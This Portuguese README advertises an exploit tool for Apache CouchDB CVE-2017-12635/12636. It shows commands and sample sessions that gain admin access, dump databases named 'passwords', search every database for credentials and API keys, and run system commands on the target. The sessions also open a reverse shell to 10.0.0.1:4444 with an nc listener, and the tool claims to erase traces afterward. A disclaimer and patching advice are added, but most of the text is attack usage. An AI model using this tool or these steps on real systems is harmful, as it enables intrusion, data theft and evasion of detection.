
Explora CouchDB CVE-2017-12635/12636 para escalonamento de privilégios e RCE, fornecendo em seguida um shell interativo com execução de comandos, navegação em bancos de dados e reverse shell.
Esta ferramenta explora duas vulnerabilidades críticas no Apache CouchDB:
| CVE | Descrição | Severidade |
|---|---|---|
| CVE-2017-12635 | Escalação de Privilégios via Bypass de Parsing JSON | 🔴 Crítico |
| CVE-2017-12636 | Execução Remota de Código via Query Server | 🔴 Crítico |
curl http://target:5984/
# If version is 1.x.x or 2.0.x/2.1.0 → VULNERABLE
✨ Funcionalidades
✅ Exploração Automática - Um comando para dominar todos
✅ Shell Interativo - Interface de comandos amigável
✅ Visualizador de Bancos de Dados - Navegue por todos os bancos de dados e documentos
✅ Exibição JSON Completa - Veja o conteúdo completo dos documentos
✅ Busca Global - Pesquise palavras-chave em todos os bancos de dados
✅ Comandos do Sistema - Execute comandos arbitrários no alvo
✅ Reverse Shell - Obtenha um shell interativo completo
✅ Histórico de Comandos - Mantenha o registro de suas ações
✅ Limpeza Automática - Remova rastros após a exploração
✅ Saída Colorida - Fácil de ler e entender
📦 Instalação Pré-requisitos
# Python 3.6+ required
python3 --version
Clonar e Instalar
# Clone the repository
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
# Install dependencies
pip install -r requirements.txt
Dependências
requests>=2.25.0
urllib3>=1.26.0
🚀 Uso Uso Básico
# Simple exploit
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
# Example
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
Opções de Linha de Comando
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 Comandos
Após a exploração, você terá um shell interativo:
📊 Exemplos
couchdb> db
[+] 39 databases:
1. _replicator (0 docs)
2. _users (12 docs)
3. admin (5 docs)
4. passwords (25 docs)
5. core-configuration (8 docs)
...
couchdb> view passwords
[+] Viewing database: passwords
============================================================
[*] Total documents: 25
📄 Document #1
ID: user_admin
Full content:
{
"_id": "user_admin",
"username": "admin",
"password": "Admin123!",
"email": "[email protected]",
"role": "superadmin"
}
------------------------------------------------------------
couchdb> search password
[+] Searching for 'password' in all databases...
============================================================
✅ Found in 'passwords'
ID: user1
Content:
{
"username": "root",
"password": "rootpass123"
}
✅ Found in 'config'
ID: app_settings
Content:
{
"db_password": "secret123",
"api_key": "sk_live_abc123"
}
couchdb> exec whoami
[+] Executing: whoami
[+] Command executed!
couchdb> exec id
[+] Executing: id
[+] Command executed!
# On your machine (listener)
nc -lvnp 4444
# In the exploit
couchdb> reverse 10.0.0.1 4444
[+] Setting up reverse shell to 10.0.0.1:4444
[!] Make sure listener is running: nc -lvnp 4444
[?] Continue? (y/n): y
[+] Reverse shell triggered!
# You should get a shell on your listener!
🖼️ Capturas de Tela
Exploração em Ação
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot
Visualização do Banco de Dados
https://via.placeholder.com/800x400?text=Database+View
Reverse Shell
https://via.placeholder.com/800x400?text=Reverse+Shell
⚠️ Aviso Legal
IMPORTANTE: Esta ferramenta é apenas para fins educacionais e de testes autorizados.
🚫 NÃO use em sistemas sem permissão explícita
🚫 O autor não é responsável por qualquer uso indevido
🚫 Use apenas em ambientes controlados ou em seus próprios sistemas
✅ Sempre obtenha autorização por escrito antes de testar
✅ Siga práticas de divulgação responsável
Ao usar esta ferramenta, você concorda com estes termos.
🔐 Dicas de Segurança
Se você é um administrador de sistema:
Atualize imediatamente para CouchDB ≥ 1.7.0 ou ≥ 2.1.1
Use firewall para restringir o acesso à porta 5984
Habilite a autenticação e use senhas fortes
Monitore os logs em busca de atividades suspeitas
Auditorias de segurança regulares da sua infraestrutura
Correção Rápida
# Upgrade CouchDB
sudo apt-get update
sudo apt-get install couchdb=2.1.1 # Or latest version
# Restrict access
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 Referências
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Segurança do Apache CouchDB
Exploit-DB
👤 Autor
darabium
GitHub: @darabium
Telegram: @darabium
⭐ Suporte
Se você acha isto útil:
⭐ Dê uma estrela no repositório
🐛 Reporte problemas
🔧 Contribua com melhorias
📢 Compartilhe com outras pessoas
📄 Licença
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para mais detalhes.
Feito com ❤️ para pesquisa em segurança
⬆ Voltar ao Topo
| Versão | Vulnerável | Versão Corrigida |
|---|
| Apache CouchDB < 1.7.0 | ✅ Sim | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ Sim | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ Sim | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ Sim | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ Não | - |
| Comando | Descrição | Exemplo |
|---|
db | Mostra todos os bancos de dados com contagens de documentos | db |
view <db> | Visualiza TODOS os documentos em um banco de dados (JSON completo) | view passwords |
raw <db> | Mostra a resposta bruta do servidor | raw admin |
count <db> | Conta documentos em um banco de dados | count users |
search <keyword> | Pesquisa uma palavra-chave em TODOS os bancos de dados | search admin |
exec <command> | Executa um comando do sistema | exec whoami |
reverse <ip> <port> | Configura reverse shell | reverse 10.0.0.1 4444 |
history | Mostra o histórico de comandos | history |
help | Mostra este menu | help |
exit | Sai com limpeza | exit |